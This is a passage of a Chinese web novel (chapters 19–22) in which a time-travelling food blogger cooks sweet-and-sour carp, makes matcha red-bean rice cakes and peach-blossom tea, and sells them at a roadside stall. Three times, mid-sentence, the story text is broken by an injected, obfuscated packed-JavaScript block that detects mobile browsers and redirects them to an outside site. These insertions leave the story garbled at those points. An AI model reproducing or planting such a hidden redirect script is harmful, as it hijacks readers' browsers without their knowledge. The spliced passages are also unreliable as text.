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今日天气晴朗,午后的阳光也是灿烂,只是经历过了笋鲊事件,丁宝珠总觉得外面不安全。幸好她屋内有个窗口是向阳的,所以依然是放去屋里晒。 丁宝琴这个年龄也是可以学着做针黹了,而且一定是由自己的母亲教导的,也就是原主先跟了丁宏做事,所以没怎么接触过。 见丁宝珠拿着一篮绿油油的东西进来,本就坐不住的丁宝琴马上不顾手里的针线,好奇地问道: “大姐,这个是啥啊?” “是茶叶,我想着拿来做点心试试。”丁宝珠如实回答。 “什么?茶叶也能做点心?茶水不是配点心吃的吗?”丁宝琴感觉愈发奇怪了,并且很快皱着一张小脸又道,“而且茶水好苦,要我说那些点心,肯定为了遮苦味才吃的!” 柳萍在一旁无奈地摇摇头没说什么,丁宝珠则笑道: “那到时你就尝尝,看看究竟是怎样配的。” 丁宝琴眼前一亮,仿佛就等着这句话了:“好啊好啊,我肯定仔仔细细品尝,然后告诉大姐你到底怎么样!” 丁宝珠偶尔还去翻动那些茶叶,闻着已有了抹自然的芳香。这一晒,就又到了做晚食的时刻了。 19. 糖醋鲤鱼 姚丹在外面喊道: “大侄女儿,你大婶子已经做好晚食了,你不做吗?” 丁宝珠隔着窗口回答道: “三婶儿,你先做吧,我等会儿再去!” 说这话时,丁宝珠已经提前在腌制那条处理好的鲤鱼了,就用葱姜丝和粗盐,全身抹了遍。 丁宝琴在边上看着,却没有说话,他们家之前也做过鲤鱼吃,毕竟这种鱼到了季节就非常多,可不管怎么做,里面仿佛都有一丝若有若无的土腥味,尤其是做汤,偏偏还总是做汤的次数多,因为汤水足够一大家子一起吃。 可见自家大姐这动作,这次看上去不像是了,好期待! 姚丹现在也是一家三口,所以做吃食的速度很快,其实原本村里人的饭食就挺简单的,丁宝珠这时才觉得,她貌似吃得好了点,从她穿越过来后,好像和其他人比起来吃的一直不错…… 回过神来,那灶房已经空下来了,她便带着所有食材和丁宝琴一块儿过去。 丁宝琴生火,丁宝珠就用生粉把腌制好的鲤鱼从头到尾又给抹了,然后下油煎炸起来。不停地用热油泼洒,直到那鲤鱼的表皮变成浅浅的金黄色,定了型才捞出。 而这个时候,她在镇上补充的那些调味料就派了用场:粗盐、酱油、白糖和醋调和了一碗糖醋汁。 不过调好了也不代表就完成了,丁宝珠要拿它做汤汁,顺道勾个芡,这才缓缓浇在了鱼身上,今天的灶房就多了丝酸酸甜甜的气息。 丁宝琴爱吃甜食,见那浇在鲤鱼上的酱汁是这味道,又红通通的十分好看,立刻就按捺不住地上前来帮忙端菜。 丁宝珠接下来还有道菜,也就嘱咐了声,便让她去了。清洗大锅后,她又添了几根柴烧水。 这次她想着把前者摘来的那些木耳给料理了,把那些木耳全部煮熟,再拿出洗净,丁宝珠手起刀落将木耳切成细丝,又切了不少野葱和姜末,之后加入酱醋和豉汁,简单一拌,就是一道凉拌菜,配糖醋鲤鱼正好。 端着这盘凉拌木耳丝回了屋,丁宏和丁宝珍也已回来,看来他们也是饿了,唤了一声就目不转睛地盯着桌面中央的那盘子鲤鱼,就等人齐能动筷了。 丁宝珠放下菜笑道: “爹和二妹一定饿了,咱们就开吃吧!” 在座的人最想听的就是这句话,纷纷拿起筷子来。吃那鱼肉,便觉得鱼肉酸甜可口,磷脂绵醇,几乎入口即化,极易下饭。 柳萍叹道:“怪了,之前做鲤鱼总是去不掉那腥味,珠儿,你是咋做的?不但不腥气,还有些鲜甜,难道是因为鱼新鲜?” 丁宝珍这时咽下了一口饭,突然开口道: “这有什么,大姐用了那么多调味料,怕是再腥的东西也能盖过去了。” 虽是这么说,她仍是多扒了几口饭。 丁宝珠没觉得有什么,把原主的记忆完全消化后,她发现丁宝珍从小到大对谁都是这样,却也并没有很叛逆,顶多是那性子刻薄了些。 丁宏则是夹了一筷子的凉拌木耳丝,酸咸微辣,滑嫩可口,倒是能去腻,也许他喜欢这种特别是能下酒的吃食多一点,不住地称赞道: “不错不错,有这手艺,以后去了婆家那儿肯定不会被指摘了。” 丁宝珍听闻,那拿着筷子的手停了停,把脑袋低得更低了。丁宝琴擦擦嘴,问道: “大姐这手艺都能去镇上饭馆里做了,还要自己摆摊子去么?” “哪会有掌柜的招女厨子的?就算有,那也是太少了。”柳萍摇摇头,“况且你大姐又快要出嫁了,哪有新娘子、做人家媳妇儿的去那种地方找事做的?能支个小摊子也就不错了。” 丁宝珠听这话,看来柳萍的想法和其他妇人没什么差别,只是觉得出去摆摆摊不过是能贴补贴补家里,最重要的仍是留守家中,做一个媳妇该做的事情,所以没有回答什么。 毕竟如果有机会的话,她可不想永远都停留在摆摊的程度…… 接下来几日,丁宝珠一直在做手头上的准备:比如那晒好的茶叶,她又寻了机会慢慢烘烤,又等那叶子变得干爽香脆了,再放进石臼中碾磨成粉。 只是想做末茶粉,就必须要那粉末极细极细,丁宝珠感觉自己的麒麟臂都涨了一小圈,这才勉强满意最后的成品。 要不是这次做得少,她也不多废这功夫,直接上石磨了! 末茶粉的香味就更深厚了,做好这一堆,丁宝珠先行包起来备用,接着又去找了石磨出来,开始做糯米粉。 丁宝琴自然来帮忙,可见这次磨的时候丁宝珠还往里面加水,那流出来的也是白花花的米浆,不禁问道: “大姐,这和上次有什么区别吗?” 丁宝珠这回用的糯米早早就充分浸泡过,她一边加一边解释道: “上次那直接磨的糯米粉比较粗糙,这次咱们做水磨的糯米粉,比那个更加细腻柔软,你看,也更白不是?要是能有其他食材,这个更适合做炸糕、麻球、汤圆团子……” 丁宝珠这边报着名字,丁宝琴立即觉得浑身上下都是劲儿,埋头就开始继续推磨了。 收集好所有的米浆,她又找来布袋盛那些米浆,口子给扎紧了,再想办法吊在自家角落的的房梁上,下方又接着水,等布袋里的水分全都滴干了,里面就成了糯米粉团块,捣碎晾干,那就是新出炉的水磨糯米粉了。 现在丁宝珠无论做什么,能放在自家屋里的就都放着,毕竟家里人可不会做出什么偷吃的行径。 如此过了几日,做凉糕的材料都已经预备好了,丁宝珠挽起衣袖就开始大展身手起来。 黍米做的是栗子落花生馅儿的,里面还拌了切碎的红糖和猪油,另外还有红糖枣泥馅儿的,以及丁宝珠新想的一种——抹茶红豆馅儿! 红豆与红糖不搭,买来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024669|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白糖也有限,所以她想着干脆就不要想着把馅儿弄得有多甜,而是用其他的法子把它的味道给衬托出来,所以就想到了这招,况且抹茶和红豆谁不喊一声般配?就是不知能不能也让这边的人接受。 先前有了经验,所以前两种馅儿的很快就做出的试吃品,而要做那抹茶红豆馅的还需费一番功夫。 抹茶粉是勉强被她复刻出来了,可还要先调成茶膏,才能与粉团结合。而要制茶膏,就必须用一个新工具——茶筅。 但这东西和筅帚相像,家里也在用来清洗锅碗瓢盆的,所以再自制一个小巧玲珑的就是,总归那材料也随处可见。 这样一来,那抹茶粉里添了热水,再用茶筅搅拌,直到那茶膏半浓半顺滑,厚实的茶香四溢,又加进那面团中,也就成了个荷叶绿的面团了。 先做了点出来给家人们试吃,那枣泥和栗子花生的却不稀奇,只有那抹茶红豆的最为引人注目,各自吃了也都称赞,也不知丁宝珠哪里想到的,竟真把茶叶和点心混在了一块儿。 丁宝珍更是微微一笑道:“没想到大姐还真听我的,又想了这个办法,我算是服气了。” “那当然。”丁宝珠也笑,“我对这件事可是很认真的,你既提出了建议,又是对的,那我自然要听,然后去修改了。” 东西都做好了,那么接下来的步骤就是——售卖! 又下了两日绵绵如牛毛的春雨,丁宝珠在家里找到了一根扁担和几个圆形的篮筐,正好可以放糕再带过去。 这就是为什么丁宝珠先选择做凉糕这个吃食,作为大众眼里的一个即将要出嫁的新妇,能被允许出摊已是宽容,总不可能再拿一笔钱给她做这做那的。她倒是想做热乎点的吃食去卖,可煎煮烹炸,哪个不需要至少推个餐车出去?就算是在家里把那热乎的做好带出去,她又是小试牛刀,万一销量不好,那些食物冷却了就更不好吃了。 况且这里的人都爱吃米做的食物,而那凉糕既能做点心,又能做早食,还能做茶点,总有适配的人群,手工自制的凉糕就算放上一整天也不会变硬。 这两天虽是下雨,可那雨丝洒在身上却是朦胧。三房那儿送来了半篮鸡子和鸭蛋,和丁宏柳萍叨咕半日才去了。虽然这事儿两家大人也不和孩子们讲,丁宝珠却明白,这是两房在谈生意呢。 丁绍除了卖鸡子那些个副产品,动物养大了也要卖肉,偶尔村里有人上门来订的,但也有要自己卖的。可谁让他有一个做屠户的二哥?再没把动物卖给屠户更好的了,何况俩人又是亲兄弟,双方人品又信得过,这才能让两家处得和和美美的。 春江水暖鸭先知,春季吃鸭大补,那丁绍养熟了一批鸭,留了一部分继续生蛋,就来找丁宏做那生意。后者接下后,宰鸭卖肉,就是用那些扁担挑出去走去村里叫卖的。 好在家里也不止一根扁担,丁宝珠依然可以把自己那些凉糕给带出去。 20. 桃花茶 这日一大早,鸡才叫一声,丁宝珠就迫不及待地起身了。 凉糕的最后步骤就是将馅料包裹进面团里,她用丝线把那红糖枣泥馅和抹茶红豆馅的切成了一块一块,唯有那黍米栗子花生糖馅儿的凉糕,她做成了一个个圆球状,玲珑可爱。 用扁担钩着深筐子,丁宝珠又找来几个大小和筐口正好相符的木盘,上面摆着那些凉糕,然后一摞一摞地放着,中间还可以有空隙。 而另一个筐内,她则是置了一个新瓦罐,并几个粗碗,一叠洗干净的树叶等物,也就完全准备好了。 和也已晨起的丁宏柳萍说了声,丁宝珠尝试着背起扁担,等稳当之后就出了家门。 所幸原主练出了一番蛮力,这两筐物品对于这具身体来说并不算多重,更别提是从家里一直走到那条大道上了。 鸡叫了第二遍,来到那条通往镇子的大道后,丁宝珠放眼望去,已有不少占了地方摆摊的贩子。她便找了个偏中间部分,又有一树杏花的地方停下来,把扁担放下,拿出一个备好的小杌子也放下了。 不过她也没有直接坐下,客人可是不会自己上门来的,少不了要让摊主先吆喝几句才行。 这要是个i人,恐怕一时还不好意思开口,可丁宝珠前世作为美食博主,都习惯在镜头前出面了,这吆喝自然能豁得出去。 想了想,丁宝珠清清嗓喊道: “瞧一瞧看一看咯!凉糕!好吃的凉糕!软糯香甜可口,快来看看咯!” 这原主果然也有一副大嗓子,丁宝珠只觉得还没出几分力,那喊声已经传去很远的地方了,引得附近其他摊贩也不禁纷纷眺过来。 这条大道因为通向祥安镇,所以连接着不少或大或小的村落,再加上起初那些老少妇人也不是天天都来摆摊的,原主的名声又基本落在象山村本村,其余村子倒是不怎么了解,也就不太认识丁宝珠了。 而且这道儿上卖的皆是日常杂货,卖吃的却少,竞争没有镇上那么激烈。 那吆喝也不可能只叫一声,于是丁宝珠接着喊道: “新鲜制成的凉糕,口味多种,还可试吃!快来瞧瞧诶!——” 单是口头上说说也不成,丁宝珠就特意讲了可试吃这个关键词,果然这时就有人来了。 只是这人竟不是在大道上走的行人,而是旁边的摊贩。 那摊贩往底下瞅了瞅,又看了丁宝珠一眼,问道: “这凉糕怎么卖的?” 丁宝珠是看着这人过来的,只是究竟是卖什么就看不清了,但对于顾客,她向来一视同仁,连忙把那几盘凉糕一齐摆了出来,再回答道: “三文钱一块儿,五文钱两块儿,口味可以拼。” 那摊贩见盘上一块块列得整齐的凉糕,黄澄澄的、白嫩嫩的,竟然还有绿油油的,十分好看,可也没直接说要,而是问: “之前你不是说能够试吃么?” “当然,大叔想尝哪一种的?”丁宝珠笑道。 这摊贩极其面生,应当不是象山村的人,指了指说道: “就试试这白色的吧!” “好嘞!” 丁宝珠点头,就在另一个筐子里取了把小刀出来,直接在一块已经分好的红糖枣泥馅儿凉糕又切了大约拇指大小的一块,也是带着馅儿的,戳在刀尖递了过去。 摊贩拿了吃,只觉得那外皮柔软,里面的枣泥顺滑,那浓郁的甘气又不腻,属实是口齿留香,但这一小块儿实在是太小了,在嘴里化开,马上就往喉咙里钻去消失了。 他还嫌不够,便道: “那我要两块儿。就要……这白的,和那黄的吧。” 丁宝珠道了好,拿了一张树叶来,包了两块凉糕递过去,那摊贩也交了五文钱。 那五个铜板摸上去好似烫手,毕竟这可是她成的第一笔单子,也是赚的第一笔金! 丁宝珠压住心里喜悦,又对那摊贩说道: “大叔一看就是早早来了这里,还辛辛苦苦占了个好地方。吃着凉糕垫补,不如再来碗喝的顺顺。我又是第一次来这,大叔又是我的第一个客人,我送您一碗茶水吧。” 那摊贩拿到凉糕还没来得及吃就听丁宝珠这样说,果然两人的关系也近了些,笑道: “那感情好。” 于是丁宝珠拿出了一个碗,打开了另一个筐子里的瓦罐盖子,又执着一柄木头长勺从里面舀了两勺,那碗里便满了,递过去。 摊贩接过,扑鼻而来一抹淡淡的奇异香气,那水色竟然还有一抹浅浅的红色,啜了一口,那回甘倒是茶水的味道,只是也很淡,匝巴个味儿罢了,可是却突出了几分莫名的桃仁味。 难道这是果仁泡茶?可是也没见到里面有果仁啊? 囫囵喝了一整碗也没想明白,还有些回味无穷,摊贩抿抿唇,又问: “这茶是怎么卖的?” 这下也不是什么解渴不解渴的问题了,虽说丁宝珠的一番话也的确讲到了,他正是起了个大早来的,连早食都没来得及吃,更是干渴,只是眼下,他更想知道这究竟是什么茶。 丁宝珠笑道: “这是喷香的桃花茶,两文钱一碗。” 她就地取材,在制作着凉糕的同时,又让丁宝琴去那几棵桃花树下打花瓣,越多越好。后者虽不知要做什么,却也照做,最后丁宝珠把它们去枝、蒂、虫蚁和尘垢,洗净了,又放满在罐里隔水煮,处理好花瓣再用来煎茶,茶水里不仅有桃花的颜色,还有桃花的香气。 那摊贩听闻后点点头,却并没有再要,而是直接将手里的凉糕给咬了一大口。 那红糖枣泥馅单是糯米表皮,咬下去都拉丝了,格外有韧性,饱满的馅料裹着舌头,润滑且甜蜜。 只是嘴大的几口就能吃完了,所以他很快又去吃那黍米团子。那黍米的口感就有些粗糙了,但里面特意炒制过的栗子花生糖馅儿香味浓郁,越是在嘴里咀嚼越有香气。 摊贩不禁夸道: “味道不错,我们这少有卖吃食的,毕竟很多都是午时就回去了,你要是还来,以后早食倒是有了去处。” 大道上卖的都是简单的数量又少的货物,卖得快的话,半日就能回去了,然后再花半日准备明日的货,周而复始。 丁宝珠笑道:“多谢大叔您喜欢,要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037453|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得好吃,之后再来啊。” 送走那摊贩,她接着再吆喝,恰巧这时道儿上的行人也渐渐多了起来,有的像是要去镇上,有的则是在瞧着两旁的摊子货,丁宝珠还见到先前自己与丁宏乘坐的那辆骡车路过,扬起一片泥尘。 这人一多,再加上丁宝珠吆喝不断,也有部分人来到她的摊前询问,她也一一耐心解释,就这么着,不久后她就遇到了熟人。 那人不是别个,正是要去邻村学艺的丁宝珍。她上前来微笑问道: “大姐,你生意怎样了?” “还好,倒也卖得出去。”丁宝珠说着,指着笑道,“你吃过早食没?不如也买块儿尝尝?这回可是我做的最好的一次了。” “……大姐,我以前咋也没见你这么喜欢做生意?” 丁宝珍故作不满地问着,最后却也说道: “我在家吃过了,不过我可以帮你推销一下,我三种的各要一块儿。” 丁宝珍去学织布针黹也不是独自学的,就和那村塾一样,身边有不少姐妹,对甜甜的点心没什么抵抗力。 丁宝珠答应了,给她包了三块,又一伸手笑道: “三块八文钱,小本生意,咱也不赊账。” 丁宝珍翻了翻眼,到底是取出了八文钱来再收了那凉糕。平常丁宏柳萍都会给她们零用钱的,只是基本上也没什么太多的花销,所以总能攒下钱来。 丁宝珠见她离开,又查看了下筐子里,红糖枣泥馅儿和栗子花生馅儿卖得出去,特别是后者,也许是黍米和这馅儿比较抗饿的缘故。 她挠挠头,难道这抹茶红豆馅儿的没什么销路?她想错了? 不过无论如何,她仍是要继续吆喝,不吆喝哪能吸引人过来? 而这时,她又将劲头暂且放在了桃花茶的上面。 这期间又路过了不少和丁笙一样斜挎着书包的孩子和少年,有的是九、十岁了,有的出了头,看样子他们都是从自己家里带早食出来,在路上就吃掉,然后去村塾读书。 可能够去村塾读书的孩子,要么是像大房那样砸锅卖铁也要送去,要么家里是有点底子在的。况且那年龄尚小的,听见有点心卖,不自觉就去丁宝珠的摊子那儿了。 年纪小的孩子专要甜馅儿的,年纪稍大一些的,则是打着午后肚饿,这凉糕也放不坏的念头买了,还有一边吃一边走喉噎的过来买茶喝。 丁宝珠不禁感叹,不管是什么时候,学生似乎都是开展生意的主力军啊…… 那村塾建在邻村的元烁村中,要是从象山村去,也起码要走个两刻钟多,为此那大房的丁笙每每天不亮就要醒,醒来匆匆吃毕早食就要出门,在道儿上也能见到几个同学。 这日他惺忪着眼,结果见到不少学生都围在一个摊贩前,可好奇地上前一瞧,却没想到是他那个大堂姐在做生意! 偷吃那笋子结果赔了二房的钱那事儿依然历历在目,丁笙红着脸转身就走,生怕大大咧咧的丁宝珠让自己在其他同学面前丢人。 然而他这一走,却又有另一人过来,远远见那在摊子前忙碌的人,不由得挑了挑眉,只是踯躅须臾,仍是前去了。 21. 抹茶红豆凉糕 招待完那些学子,丁宝珠又想着把自己那罐桃花茶全部推销出去。这桃花茶里,柴是捡来的,桃花瓣是现成的,就连茶叶,也不是点浓茶,所以压根没费多少茶叶,这种饮品才是赚钱的关键点。 这桃花茶,丁宝珠自己也喝过,主要还是那散发的奇异香味最能吸引人,如果再加一些辅料,例如桂圆、蜂蜜什么的,应该会更好喝。 正思索着,摊前突然又来了人,丁宝珠马上反应过来,那话就先脱出了口,说道: “客人,要不要尝尝凉糕?三个口味可拼——” 她还没说完,抬眼一瞧,倏忽就没声儿了。 站在摊前的正是徐晔。不过想着他总要出村的,自己选的位置又是村子和镇子中间,还是头一天出的摊,能见到也不奇怪,便又接着问道: “还有茶水,需要吗?” 徐晔看着那盘上已经卖了一半多的不同颜色的凉糕,样子倒是好看,也并不是无人问津,想起了什么,问道: “都是咋卖的?” “凉糕是三文钱一块儿,五文钱两块儿,口味可以自行搭配。桃花茶是两文一碗……” 说到这,她顿了顿,又笑着补充道: “但如果你自己带了容器的话,这一份桃花茶只需要一文钱。” “……哦?”徐晔来了一丝兴趣,从腰间取出了什么,展示着问道,“这个可以么?” 丁宝珠定睛一瞧,原来是一个水囊,而且还是用皮革做成的,足有两个巴掌那么大,半旧不新,似是用了很长时间了。 “当然可以。” 丁宝珠一口答应着,她做了满满一罐茶水,就是每碗只卖一文钱,那也是赚的。爽快地开盖舀水,满了再还回去,还不忘笑问道: “我做了新口味的凉糕,你要不要试试?” 徐晔原本就存着点想买凉糕的心思,听她这么说,自然问:“有啥口味?” “抹茶红豆馅儿的,比另两个口味清爽一些,不甜。” 丁宝珠说着,利落地切了一小块儿递过来。徐晔接过尝了,只觉得那外皮果真不像其余那样只有粮食自带的甜意,而是有种茶叶独有的淡淡苦涩,却衬托出里面红豆馅儿的清甜,两种味道又混合在一起,成了十分均衡的搭配。 最重要的是——它不甜! 人们多数买那红糖枣泥的,是为了吃甜食,买那黍米花生的,是比较能填饱肚子,而实际上也有人不爱吃太甜的,比如徐晔,这抹茶红豆馅儿的,倒是合他的心意。 “我要两块儿这抹茶红豆的,另外两种馅料,我也要两块。” “好嘞。” 丁宝珠心里高兴,这可是她今天开业后的第一笔大单子,赶忙仔细装了凉糕送过去。 “一共十五文钱。” 徐晔一怔,疑惑问道: “还有茶水,不应该十六文么?” 丁宝珠笑道:“你第一次来我摊上,又买了这些,我给你优惠,要是觉得不错,下次再来就是了。” 谁知话音刚落,徐晔的脸色隐约不好看起来,他面上那块盖着眉眼的胎记随着细微的表情轻轻动着,不一会儿沉声道: “不需要,该多少就是多少,我不欠你的。” 他说完,就把钱一股脑儿给了她,拿着糕和水囊就走了。 丁宝珠垂眼一瞧,正正好好十六文钱。 买东西不要优惠?而且……怎么感觉他突然有点生气了? 莫名其妙。 丁宝珠百思不得其解,收了钱,很快就把这事儿抛之脑后,总归他们还不算熟悉,有什么事情,还是等到以后吧。 她继续吆喝,此时已经是巳时中了,云雾散去,春阳当空照着,道儿上的人变得少了些,零零散散几个行人还是照常走着,只是那些固定的人群已经是不见身影了。 丁宝珠盯上了那些路人里的壮汉人物来卖自己的桃花茶,推出的自带杯优惠很适合他们,因为他们大部分都会和徐晔一样带着容器,即使不是那种水囊,也是木头竹子做的水杯什么的,她直接灌满,所以卖得要比凉糕快。 除了那些客人,还有旁边的摊贩也过来瞧瞧,但他们一般也是不买凉糕,而是来买茶水喝的,更是有人直勾勾地仅看着那些凉糕,心里不知在考虑着什么。 丁宝珠如何想不明白,怕是见自己买这凉糕有搞头,也开始想要跟着卖凉糕了! 所以自己的这些凉糕,虽然还能再卖几日,却也要想想能不能上新才行。 丁宝珠早早来到这,就连早食都没有吃,这时肚里也打起了鼓。她便坐在了那张小杌子上,随手拿了块抹茶红豆馅儿的凉糕吃起来。 这次的抹茶粉,她足足磨了四五回,仿佛比空中的灰尘都要细,茶香就更是浓郁,配上入口即化的红豆馅儿,香气四溢。 这要是有牛乳,丁宝珠高低再做个抹茶拿铁,或者是抹茶牛奶酱,抹茶脑袋爱了爱了! 正津津有味地吃着,摊前又来了人,丁宝珠紧忙把最后一小段扔进了嘴里去招呼客人。 然而这位客人,却是一个裹着头巾,身穿着深色布衣,撑着拐杖,满面带笑的老妪,一双三角眼紧盯着她,像是要从她的体内见到另一个人一样。 丁宝珠觉得脸熟,不自主愣了愣,那老妪却先开口笑道: “珠姐儿身子如何了?你娘还担心不?” 幸好有原主的记忆,丁宝珠恍然大悟,原来这位就是丁宏柳萍口中的那位杨仙姑,原主昏迷不醒之时,他们走投无路,就请来看看了,为此还被那蒋氏一顿絮叨。 这杨仙姑是村里的一位师婆,所谓师婆,就是那以画符念咒的巫术为生的婆婆,俗称跳大神的巫婆。 可见当初原主是真的救不回来了,家里才死马当作活马医。 可丁宝珠想着,不知怎么反而觉得有点细思极恐。她本来不大相信牛鬼蛇神的,可这又实在是过于巧合,而且杨仙姑的这双眼这么瞅着自己,更添几分神秘兮兮的,忙说道: “我身子好多了,谢仙姑关心,我娘也是见我好了才同意我出门的。” “那就好。”杨仙姑笑着,“之后你爹娘又来找我,说是给你和那徐家的孩子重新拟个好日子,没想到你现在竟然出摊卖货了,整个人生龙活虎的,我活了这么久,倒是头一次见到这状况。” 一旦心里有了怀疑,丁宝珠就不得不多想了什么,尤其觉得这话里有话,便又拿出叶子,包了两块儿凉糕递过去,莞尔道: “辛苦仙姑了,我这也是因祸得福,原是我不懂事,结果酿了那么大的事情,白白让爹娘担心,如今我也是想明白了,今后再也不会那样做了。仙姑尝尝我这糕味道如何吧?” “你能这么想,那就是最好的,既已经活回来了,就好好孝顺爹娘,过好日子,就算今后去了那徐家,也要安心些才对。” 杨仙姑嘱咐着,不知为何还眯着上下端详了丁宝珠一眼,对于后者递过来的凉糕,她摆摆手婉拒道: “这个就算了,这种点心于我而言太甜了些,我还坏了几颗牙,可不想以后落个牙全掉光的下场,珠姐儿这糕还是留着卖吧。” 丁宝珠笑道: “巧了这不是,我做的这款味道是不甜的,即使不配茶水也是能空口吃的。再说我本就想向仙姑您道个谢,您就收下吧——若是喜欢呢,今后就再光顾光顾,若是不喜欢,也随仙姑处置就是了。” 杨仙姑听了,最后只好收下,又笑着说了几句好话才离开。 丁宝珠瞧她真走了,这才松了口气。 其实前者说得何尝不是真理,她又回不去,干脆就在这里重新扎根吧! 如此快过了巳时,最先卖完的是那桃花茶。丁宝珠心里粗略一估计,这茶水偶有用两文钱买的,多是用一文钱买的,而这罐茶水本身的成本近乎于无,不算人工,起码赚了二十文左右。 果然比起吃食,这饮品貌似更有利点…… 她又瞧了瞧另一个筐子,红豆枣泥和黍米团子只各自剩下一两块儿了,唯有那抹茶红豆的还剩下四五块儿,她便将这些凉糕摆在了一起,坐在杌子上接着叫卖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079356|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 片刻后,只见一名留着白胡子颇有些仙风道骨的老者,并一个身后背着大筐子的少年慢慢走了过来,听见丁宝珠吆喝,那前者不禁往旁看了眼,特别是在看到那胖鼓鼓的凉糕时,眼前都是一亮。 丁宝珠见状,正想多招呼几句,却听边上那少年淡然说道: “先生,不可,这个太甜了。” 那老先生吭了吭嗓,稍许不悦道: “老夫这是在看那凉糕么?这不是那丁家的大姐儿么?上回伤了脑袋,用了不少药下去,莫非你忘了?” 丁宝珠原本对这一老一小的话语还憋着笑,听闻这话,恍然大悟——原来这位是那位村里的邱大夫。 这一看就是位德高望重的老医生,她连忙说道: “邱大夫安好?” 邱大夫笑呵呵地捋着胡子道:“问我安好,不如问问你如何了,只是见你都能出门摆摊,看来我彼时下的方子是对的。” “邱大夫的医术,咱们村里谁不清楚?一定是药到病除的!”丁宝珠笑着,又瞧前者的目光仍然时不时停留在凉糕上面,心里一动,再次问道,“邱大夫,今儿是我第一次出摊,还做了这些凉糕,方才我听你怕太甜了,便做了不甜的口味,那表皮是末茶做的,里面是纯红豆的,您要不要试吃看看?” 说完,不等他们回答,她早就切了一小块儿下来递过去。那邱大夫本就想吃,见丁宝珠又给了台阶下,赞赏地看了一眼接过来道: “竟把末茶放进表皮里,珠姐儿的心思真是活络,那老夫就不客气了!” 他说着就吃,只嚼了两下,那几乎雪白的双眉就不由得挑动起来。 “这……这还真的能称得上是苦尽回甘,余味无穷,不错,不错!这末茶做成点心,倒是要比其他点心更显得清爽些!” 邱大夫年龄大了,就喜欢一些甜软食物,向来是下午饮茶时配着点心吃,可是这末茶做的点心,果真如丁宝珠说的那样不甜腻,就算是不配茶吃也是好的,很得他的心意。 “珠姐儿,这剩余的末茶凉糕,我都要了,替我包起来吧。” 丁宝珠还没答应,旁边的少年又是劝阻道: “先生,不可,纵使不甜,一时吃多了,您也是要积食的。” “老夫又不是三岁孩童,还能不明白这个道理?”邱大夫不快。 丁宝珠就在这时打着圆场道:“既然怕大夫您积食,就让小郎君收着看着就好了,再说总共也没多少了,而且这凉糕就是多放几日也不会坏的,不就行了?” 她一边说着,一边就手脚麻利地把所有的抹茶红豆馅儿凉糕都给包了起来,以她的视角来看,商品全部卖完才是最主要的。 那少年听完,也就不说话了,而且他的眼睛也看着那凉糕,显然也是想吃的。 送走一老一少,看着抹茶红豆馅儿凉糕全都卖完了,她总算放下了一部分心。 又等了几盏茶功夫,丁宝珠忽然见到有人匆匆过来,一直到了自己那摊子前,竟然是一开始最先买了她凉糕的那个大叔。 “姑娘,你这凉糕还有不?我摊上的货卖完了,也赚了些钱,想买点带回家去。” 丁宝珠不好意思地笑道: “就剩下最后两块儿黍米栗子花生糖馅儿的了,大叔你要么?要的话,我就算你四文钱好了,我也能早点回去。” “这样啊……” 大叔看上去有些犹豫,也许他想买的是其他口味的,带回去是作为点心,自然想买更精致更甜些的。 不过听说便宜了,大叔最后还是说道: “行,那就给我包起来吧。但你明天还会来出摊么?” 丁宝珠一边包糕一边点点头回答: “不出意外的话,我还会来的。” 毕竟她做的那些馅料和糯米粉还没用完呢! 大叔笑道:“好,那我明天再来光顾!” 来这过了几个时辰,终于是将所有饮食都售卖出去了。丁宝珠收拾好自己这个小小的摊子,背上扁担,哼着小曲回了村。 22. 笑口常开枣 做好等回到家,又回到屋,依旧是柳萍和丁宝琴待着,见她回来了,前者道: “回来了?我们都吃过了,不知道你什么时候回来,饭菜还都热着呢。” “大姐!”丁宝琴兴奋地问道,“去了一上午,你挣了多少钱了?” “还没算呢,才卖完,我就回来了。” 丁宝珠放下扁担,桌面上放着温热的米饭和一道菜,瞧着黑乎乎的,仔细一瞧,原来是梅干菜烧了咸肉吃,看着就非常下饭。 她又从腰间取下一个半鼓的荷包,这荷包都是柳萍做给几个女儿戴的,只是什么时候等几个女儿也会了针线活儿,就是他们自己做荷包戴去了,但丁宝珠一向对此技艺薄弱,所以身边还是柳萍做的那个。 而那荷包里装的都是铜板,丁宝珠扒了几口饭,就把那口子打开,倒出了所有的钱,一边吃一边算起来。 买了多少糯米,差不多就能出多少糯米粉。而枣干红豆这类材料做成馅料,都是要比原来的重量多的,所以她第一次做的那些还能再做几大条糕呢,这些的价格都互相差不离多少。 红糖的价格不贵,白糖她买的少,就那包绿茶,买的是今年的新茶,却不算高级茶,也就比粮食再多几文罢了。 所以扣去成本,连带着那罐桃花茶,她今日只赚了约莫小几十文。 